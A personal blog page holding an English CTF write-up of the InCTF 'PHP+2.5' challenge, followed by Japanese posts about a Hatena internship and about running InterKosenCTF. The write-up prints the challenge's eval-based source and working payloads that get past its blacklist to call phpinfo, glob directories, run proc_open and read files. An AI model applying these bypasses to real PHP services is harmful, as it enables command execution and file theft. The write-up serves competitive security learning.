ふるつき

v(*'='*)v かに

InCTF Writeup

I played InCTF as a member of zer0pts. We reached 22nd place and got 2302 points. It was a very good CTF. Thanks all the admins for holding such a great competition!

I solved PHP+1.5 and PHP+2.5 during the competition. Write it up.

[Web 744points] PHP+2.5

The given url evaluated our PHP code. There were some restrictions: our code couldn't include any defined function names, specific symbols and language constructs, and its length should be shorter than 100 bytes. In details, see the following script.

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  if(strlen($input)>100){  #That is random no. I took ;)
    echo "This is getting really large input..." . "<br>";
    return true;
  }  
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

At first, I saw the phpinfo with the this payload: ?thisfile=/&input=$x=php.info;$x();. Because PHP assumes an undefined identifier as a string and supports variable functions, this payload calls phpinfo().

By the phpinfo, I found that some functions that execute commands and read from and write to files were disabled. However, proc_open and file were still enabled. So we might execute arbitrary commands and read arbitrary files.

When I was globbing the root directory (payload is /?thisfile=/&input=$x=ch.r;$d=va.$x(114).$x(95).dump;$g=glo.b;$d($g($x(47).$x(42)));, there was a /readFile executable. We should execute this one.

I used chr, proc_open, hex2bin, file, and var_dump to get the flag. After executing /readFile>/tmp/x by proc_open, then read it by file and output by var_dump. My payloads are here.

  1. doproc_open("/r*>/tmp/x",[],$z);: ?thisfile=/&input=$x=c.hr;$f=proc.$x(95).open;$g=hex.$x(50).bin;$f($g($x(50).f722a3e2f746d702f78),array(),$z);
  2. do var_dump(file("/tmp/x"));: ?thisfile=/&input=$x=c.hr;$f=va.$x(114).$x(95).dump;$g=fil.e;$a=$x(47).tmp.$x(47).x;$f($g($a));

Got the result! FLAG: inctf{Getting_segmentation_fault is_fun}

Unintended solution :P

[Web 100points] PHP+1.5

Same as PHP+2.5

はてなサマーインターン2019 に参加していました

退屈と言える程 幸せじゃないけれど 不幸だと嘆く程 暇もない毎日

――普通の人々

専攻科1年ということもあり、そろそろこの先の人生をどう振るのか考えなければならない時期なので、業界や会社を見学する気持ちで、はてなサマーインターン2019に参加してきました。本エントリはその振り返りです。

developer.hatenastaff.com

応募とか

絶対に書いておかなければならないと思ったので書きます。今年はとにかくどこかの会社を見学しないと何も定まらないと思っていて、焦る気持ちもありながら色々な会社に応募したのですが、結局はてなともう1社だけに内定をいただきました*1。この2社はインターン生の選考にとてもリソースを割いていると感じていて、特にはてなはやばかったです。

今年のはてなの1次選考では簡単なrot13を書く問題がでて、D言語で愚直に書いたら運良く通ったので、京都オフィスまで面接に行きました。

Hatena Summer Intern 2019 application quiz · GitHub

ここでの面接が本当に良くて、面接に良いとか悪いとかがあることを初めて認識しました。事前にGitHubアカウントやはてなブログのURLを提出していたのですが、面接官の方はそれをとても良く見てくださっていて、「シェル芸botの開発をしている」とか「J言語に興味があってポストを書いている」ということまで把握されており、そういう話をしても大丈夫だということがわかって、これまでになく楽しく喋ることができました。GitHubリポジトリやブログの深いところまで読まれていて自分が真剣に選考されているのだということがわかりましたし、そういうきちんと評価してくれる選考を通過してインターンに参加できたことはそれだけでとても嬉しかったです。

講義パート

はてなインターンはそういう構造なので前半2週間は講義パートでした。講義パートは2週間で「オレオレブログシステム」を構築することになり、基本的に午前中はDBやReactやGraphQLによるエンドポイントのようなテーマにそって社員の方に講義していただいて、午後はテーマに関連する部分を課題として「オレオレブログシステム」に実装するという感じでした。講義は知っている内容であったりして、自分のレベル感というものを確かめながら聞けてよかったです。一方で課題は、知っている内容のはずなのに意外とやってみると躓いたりして、理解度の確認や私の実力との兼ね合いが絶妙だと感じました。

そういう詰まったときに必ず近くにメンターの方がいるのがはてなインターンのすごいところだと思っていて、常時2〜6人程度がインターン生の進捗を見守っているので、躓いたときにすぐに助けてもらえます。インターン生としては業務も忙しい社員の方を捕まえてくだらない質問に時間を割かせてしまっては申し訳ないという気持ちがあるので、積極的に進捗を確認してくれたりとくだらない様に思えることでも質問して良いのだということを認識させていただいてありがたかったです。これをやるのってものすごくインターンのことを重視してないと難しいと思っているので、そういうふうに扱われていることもまた嬉しく思いました。

ちなみに講義は技術一辺倒というわけではなく、企画やコミュニティ設計の講義もありました。これはインターン中にも何度もフィードバックしたことなのですが、コミュニティ設計の講義は本当にありがたくて、学生だとそういう経験がなくてもサービスが当たって否応なしにコミュニティと向き合わなくてはならなくなるという場合があると思っていて、そういうときに必ず役に立つ良い講義だと思いました。

中間発表

さて前半パートの終わりには中間発表があり、前半課題で作成した「オレオレブログ」について社員の皆様の前で発表して評価を受けることになっています。どのようなブログをつくるかは個人の裁量にまかされていたので、私は「ブログのエントリに対して自動でエピグラフが挿入されるブログ」こと「エピにっき」を作って発表しました。

これは頑張ったので一応やったことを書いておくと、「ブログのエントリに対してエピグラフが挿入されると、エピグラフとエントリとの関連性が気になって、よりエントリが読まれるようになるのではないか」と考えて、文章の内容に合わせて自動的に適切なエピグラフを挿入するようにしました。エピグラフさだまさしの楽曲の歌詞から手動で抽出し、文章から最適な楽曲を選ぶところではword2vecでいい感じにやりました*2。本エントリのエピグラフもこのシステムで自動的に選択されたものになっています。はたしてこのエントリに適切かはかなり微妙ですが……。 f:id:Furutsuki:20190913160646p:plain

f:id:Furutsuki:20190913160707p:plainf:id:Furutsuki:20190913160723p:plainf:id:Furutsuki:20190913160734p:plain
こんな感じになる(社員の方のエントリもありますが掲載許可を得ています)

こういうものを発表したところ、さだまさしの力もあり*3、投票により1位の栄誉をいただきました。2位が16票だったのに対して35票も入ったのでかなり良い結果になったのではないでしょうか。深夜に何時間もさだまさしの歌詞と向き合ってきた甲斐がありました。

f:id:Furutsuki:20190913161159p:plain

実践パート

シェル芸botの運用経験からインフラまわりに興味をもったこと、製品や開発者を支えるレイヤーで貢献*4する仕事に興味があったことなどから、システム基盤開発コースを希望していたので、システムプラットフォーム部というところに配属されました。ここで何をしたかは以下のエントリをご覧ください。

developer.hatenastaff.com

ここに書いていない流れを少しだけ詳しく説明すると、まず配属されて簡単に自分の興味分野について語った後、じゃあこんなテーマがありそうだけど、という話を頂いて、それは週末だったので週明けにどれが良さそうか、みたいな話をしました。今回のテーマは2週間という期間で基礎部分を作り上げるのにちょうどよく、またはてなやシステムプラットフォーム部にマッチしていて、私の実力感からみてもちょうどよいものだったと思います。

最初はどういうものを作りたいか、どういうものなら作れそうかという話をしていて、何ができるかという技術的な調査を踏まえつつ、作るべきものの姿を固めていきました。途中ではチーム内で「これこれこういうものを作っています。こういう技術をつかってこういうことをやろうとしています」という話をしてフィードバックをもらいました。そして、ある程度のものができることがわかったので、それをコード化したいねという話になり*5CloudFormationのテンプレートを書いていました。しかしCloudFormationはこと現在に至ってもCodeDeployによるBlue/Greenデプロイ周りをサポートしておらず、中途半端なものができあがりました。

この時点でかなり残り日数が危なかったので、できるところまでで発表するか、という話になっていましたが、私はどうしても諦められなかったので残業という闇の儀式を1時間と30分くらいやって、Terraformを書きました。頑張ったのですが、Terraformも結局環境依存なところがあったりしてちゃんと動かすには少し作業が必要になってしまいました。CloudFormationが対応してないものにTerraformが対応していることがあるというのは学びでした。

後半全体を通して、メンターの方々*6と毎日朝会や昼会をしてこまめにやっていること・やることの確認をしたり、マイルストーンを設置したり確認したりしていて、非常によく面倒を見てもらっていました。

最終発表

こちらはそんなに書くことがなく、上記エントリの内容をTPOに合わせてスライドにして発表しました。前日に一度チーム内で発表したときはひどい出来だったのですが、大量にフィードバックを頂いて、当日にはなんとか及第点の発表になったと思います。評価のされ方を見た感じそこそこ良いものを作れたみたいで嬉しい。

投票の結果は5コース中5位で奮わなかったのですが、4位とは1票差だったなど地味になりがちなシステムプラットフォーム部の成果としてはそれなりだったと思っています。個人的には満足している

その他

講義や実践パートの流れ以外にも書きたいことがあるのですが綺麗な文脈を作れないのでここに箇条書きします。この書き方をすると書き漏れがあるので思い出したら追記します。

  • 過去の参加者ブログを見たり、社員の方の話を聞いたりしていると、「はてなインターン同期生はめちゃくちゃ仲良くなるし一生モノの友達になる」という話で、自分にこれができるかめちゃくちゃ不安だったのですが、案の定できなかった。
    • 週末などときどきボードゲームをやったのは楽しかった。前半パートは僕は定時になるとすぐ帰っちゃったし、他の人は残っても課題やブログ開発を頑張っていたようなのでやらなかったけど前半もやっておいたほうが絶対に良かった
    • もしどこかで出会ったら声をかけるくらいはできるかもしれない程度にそこそこ仲良くなった気はするので、何も得られないよりは遥かにマシだと思う
  • 同様に社員の方ともめちゃくちゃ仲良くなったかといえばそうでもないと思っているので残念だったり申し訳なく思ったり諦めていたり
  • はてなのランチはめちゃくちゃ美味しくて感動した
  • 通勤・退勤はつらいことがわかった。社と家は近い方が良さそう
  • 退勤後なにか作業をするみたいな気力が残らなくてインターン中はインターン以外なにもできてない
    • 同様に土日もなにもできなかったりしてかなりショックだった。社会人になってもCTFをやりたいができるか大変あやしい。
  • はてなのオフィスは結構静かで「静かに見えるけどSlackとかでめちゃくちゃワイワイしている」という話を聞いていたんだけど、インターン生は限られたチャンネルしか見えないゲストアカウントだったので、盛り上がり方をいまいち観測できなかったのはちょっと残念だった。
  • 自己紹介や中間発表で、完全に「さだまさしの人」として認識された気がするけどこの肩書は僕にはちょっと重たすぎたので失敗だったなと思っている。認識されやすいのはよいことですが……。
  • 初日やインターン生とご飯を食べる会やシステムプラットフォーム歓迎会や技術勉強会などで寿司が振る舞われるので寿司をめちゃくちゃたくさん食べた。あと人前で飲酒したの初めてだったかも。
  • インターンは4週間やって5合目、ブログを書いて7合目、インターンで講師をして頭頂らしいので頑張っていきたい(いきたい)
  • デベロッパーブログのはてブ数が当日で200いきました。嬉しい

f:id:Furutsuki:20190913212839p:plain

最後に

はてなサマーインターンはめちゃくちゃインターン生のことを考えてインターン生のために労力を割いてくれているし、それもあって本当に良い体験ができたと感じています。完全に信頼できるエンジニアに指導してもらったり一緒に作業できたりしたのは本当に良いし、そういう人々にある程度評価されているというのも得難いことで自信になりました。それから蒸し返すようですが、面接の体験がすごく良くて本当に良かったです。

このようなインターンを提供してくれた株式会社はてなの皆様には感謝の言葉しかありません。最高でした。

*1:時期が被っていたのでもう一社は辞退させていただきました。でもやってることは絶対面白いと思ったので体が2つほしかった

*2:詳しいことが知りたい人がもしいたとしたら、おそらくこのへんなのでよろしくおねがいします。モデルとしては word2vecの学習済み日本語モデルを公開します | カメリオ開発者ブログ のものを、辞書としてはMeCab-IPADICをおそらく用いています。ありがとうございました

*3:自己紹介でさだまさしが好きだと言ったら変なウケ方をするなど、さだまさしの人という文脈がかなりあったとか、そもそもさだまさしの歌詞が良すぎてオーバーキルみたいな話もある

*4:https://i-beam.org/2019/03/25/taishoku-shimasen/ を読んで感銘を受けた言葉です

*5:当初の予定では厳しそうだということで今後の課題になっていたけどマイルストーンを長めにとったのと思ったより検証が早く済んだのでできました

*6:メインメンターの方は東京にいて、となりの席には現地メンターがいるという豪華な状況

InterKosenCTF2019 開催記

初級〜中級者向けのCTF、 InterKosenCTFを開催したので色々まとめておきます。

感想

CTF開催するのしんどいけど楽しいです。スコアサーバが50Xを返したときは最悪ですが。

概要

チームinsecure( @theoldmoon0602 , @ptr-yudai, @yoshiking)として、 2019-08-11 10:00:00 〜 2019-08-12 22:00:00 (JST) で InterKosenCTF と銘打ったCTFを主催しました。特に参加資格やチームサイズに制限は設けませんでしたが、日本の初級〜中級者向けのCTFのつもりで開催していました。

今回は高専セキュリティコンテスト(が今年もあるとして)のための予習とかモチベーションアップをそもそもの目的としていたのですが、なかなか高専セキュリティコンテストの日程が出なかった(というかあるかどうかさえわからなかった。あると思っていますが……)うえ、大体準備ができたので開催しました。

作問

Welcome問題とSurvey問題を除外すると全部で22問作って、 ptr-yudaiが11問、私が9問、yoshikingが2問つくりました。前回に比べるとバランスがよくなったと思います。作問の難易度としては、easyが「当該ジャンルを知っていると解ける」でmediumが「高専セキュリティコンテストで一番難しいレベル」、hardは「高専セキュリティコンテストにはちょっと出ないレベル」くらいの意識です。高専セキュリティコンテストの問題は簡単すぎるくらいだと思っているので、このくらいで作ると、得意なジャンルだと全部解けるか一問くらい解けないくらいの丁度良い難易度になると思って作っていました。

一応すべての問題について相互に解けることをチェックしたり、解法のスクリプトを書いたりして解けない問題が出題されたりはしないように気をつけていました。非想定解は想定できなかったので防げませんでした。もうちょっと気を遣いたいところではありますが難しいですね。

ちなみに各問題はこちらから見れます。

github.com

writeupはこちらから

hackmd.io

スコアサーバ

また書きました。そのうち公開します。我々のチームの見解としてはなんとなくCTFdは重そうだというのでいちいち書き直したりしているんですが、参加者も多くないだろうということで富豪的プログラミングをしたりしていてCTFdでもそんなに変わらないと思います。こういうのを作るのは楽しいけど安定しないし普通に難しいのでなんとかしたいですね。というかWebアプリケーション普通にかけないんだが。

そういえばスコアサーバに問題のデプロイ機能をつけるとか、配布ファイルの自動アップロード機能をつけるとか、色々工夫しました。良かったのかはわかりませんが。

30秒ごとにありとあらゆるデータをpollingしてくるという成金みたいな実装をしているので修正したいですね。

github.com

スポンサー

前回の出費を見て1万円くらいあればなんとかなりそうだな、と思ってtwitterでスポンサーを募集したところ全部で2万円のご支援をいただきました。開催直前にも数度スポンサードの申し出がありましたが十分な資金が集まっていると判断したためこちらはお断りさせていただきました。ありがとうございました。みなさん「お金ある? 大丈夫? もっと出そうか?」とまるで『案山子』のように心配してくださり逆にこちらが恐縮しきりでした。

インフラ

前回と同様にAWSを使いました。GCPやAzureよりは知っていた、みたいな理由で選びましたがそれでもまるで詳しくないので詳しい方に訪ねたりしながら構築しました。サーバは前回よりは豪華にして t2.medium を使い、テスト用のサーバには t2.micro を使いました。開催直前になって下記のブログに行き当たり、CTFはOther Simulated Eventに該当するということで急いでメールを出しました。

tigerszk.hatenablog.com

AWSのサポートは迅速に対応してくれて(とはいえ生活リズムの違いから1日一通しかメールが交換できなくて、AWS側からOKをもらったときにはCTFは終わっていたんですが)、結局以下のことを聞かれました。Route53やS3についてはシステムの構築に使っただけでそれ自体に何かしら攻撃性のパケットが飛んでくるわけじゃない、ということは追加で説明する必要がありました。

Thank you for contacting Amazon Web Services about your upcoming CTF Simulated Event. Since the time and date is nearly coming to a close we will excuse this request as a onetime courtesy, but please note that all customers are required to request pre-approval prior to conducting a CTF Simulated Event.

For all future simulated event request, please forward the required information in the format below:

Account Information

Account Name: Account Number: Email Address: Additional Email address to cc: Do you have an NDA with AWS? AWS Account Team Contact:

Target Data AWS Targets:

EC2 Resource: Cloudfront Distribution: API Gateway / Lambda: RDS Resourc: ELB Name: Other AWS Resource: Route 53 is not permitted and S3 is only allowed for Layer 7 testing. Testing the S3 buckets itself is against our policy

Non-AWS Targets:

IP Addresses:

Source Data

IP Address: Is the above IP address on your prem? Who owns IP Address? Contact for team doing testing: Does testing team have a NDA with us?

Testing Details

Simulated Security Event Type (red team, war games, phishing, etc.): Expected peak bandwidth in Gigabits per second (Gbps): Expected peak requests per second (RPS): Start Date/Time: End Date/Time:

Additional testing details and why it is needed: What criteria/metrics will you monitor to ensure the success of the event? Will your event require AWS interaction? If so, please let us know what capacity and why:

Do you have a way to immediately stop the traffic if we/you discover any issue? 2 Emergency contact names and phone numbers:

Abuse Reporting Do you want to be notified of any abuse reports received? If so, please provide an email address that will be monitored during the event If not, please advise how you would like us to address these reports

Abuse reports cannot be resolved without a reply to the reporter ---- end of required information ----

開催期間について

ptr-yudaiが自身の夏休みを勘案して「8/11 - 8/12あたりでどう?」と言ってきたので何も考えずにOKをだしました。後から見るとコミケ、DEFCON、セキュリティキャンプあたりと日程が被っていたり近かったりで微妙だったかもしれません。

一方で開催時間は「全部解ける実力があるチームが全部解ける時間」ということで36時間にしましたがこれはかなり良かったと思っています。狙いどおり上位3チームは全完していましたし、そうでないチームも各問題に1度は取り組めたのかなと思っています。

開催中

開始早々 504を連発する 504 CTFになりました。本当に申し訳ないと思っているし、504を出すCTFはダメCTFだと認識しているので自分がそれをやってしまったことがとてもショックです。スコアサーバを何回も再起動したり、データベースをDockerでもっていたものをRDSに移したりいろいろやりましたが、結局はgunicornで動かしていたスコアサーバの並列度が足りずにキューが詰まっていたのが問題だったようです。開催一時間後くらいにgeventをインストールしてなんとかしました。

その後は順調に見えたのですが夜9時ごろにまたエラーがでるようになって、今度はまるで理由がわからず、ホスト毎再起動しても効果がなかったので別インスタンスを2つたてて、そちらで運用していました。データベースをRDSに移していたのが後から功を奏した感じです。流石にこれ以上落ちるとまずいと思ってCloudWatchのアラームを使ってヘルスチェックに失敗するとslackに通知を飛ばす設定をしたのですが、結局その後は順調に動きました。謎

f:id:Furutsuki:20190813170844p:plain
これは50Xを出した回数のグラフ

請求

t2.mediumを何台か立てたのと、急遽RDSを立てたのとで当初の見積もりよりは少し高くなりましたが、ご支援いただいた額のうちにおさまりました。今後もスコアサーバを立て続けるなら考えないといけませんが、この記事がpublishされる頃には落ちている予定です。

f:id:Furutsuki:20190813171448p:plain
RDSバカ高くないですか?

なお、ご支援いただいた分の余りは次回開催資金の補助に回します。

次回について

何事もなければ2020年1月頃に「WinterKosenCTF 2020」を予定しています。こちらは中〜上級者向けで、ptr-yudaiが張り切って作問しています。

その他

もうちょっと色々しっかりやるべきなんだろうなと思っています。特にサーバの監視やBANの仕組みがまるで整っていなくて、いざというときが訪れたら困り果てるしかなくなってしまいます。勉強したいような気もするしそれは面倒のような気もする。

あとCTFの準備とか運営とかを実質2人で回すのは結構厳しいのでyoshikingにはもっと強くなってもらいたいです。

special thanks

  • ptr-yudai
  • yoshiking
  • スポンサー様
  • 参加者の皆様

本当にありがとうございました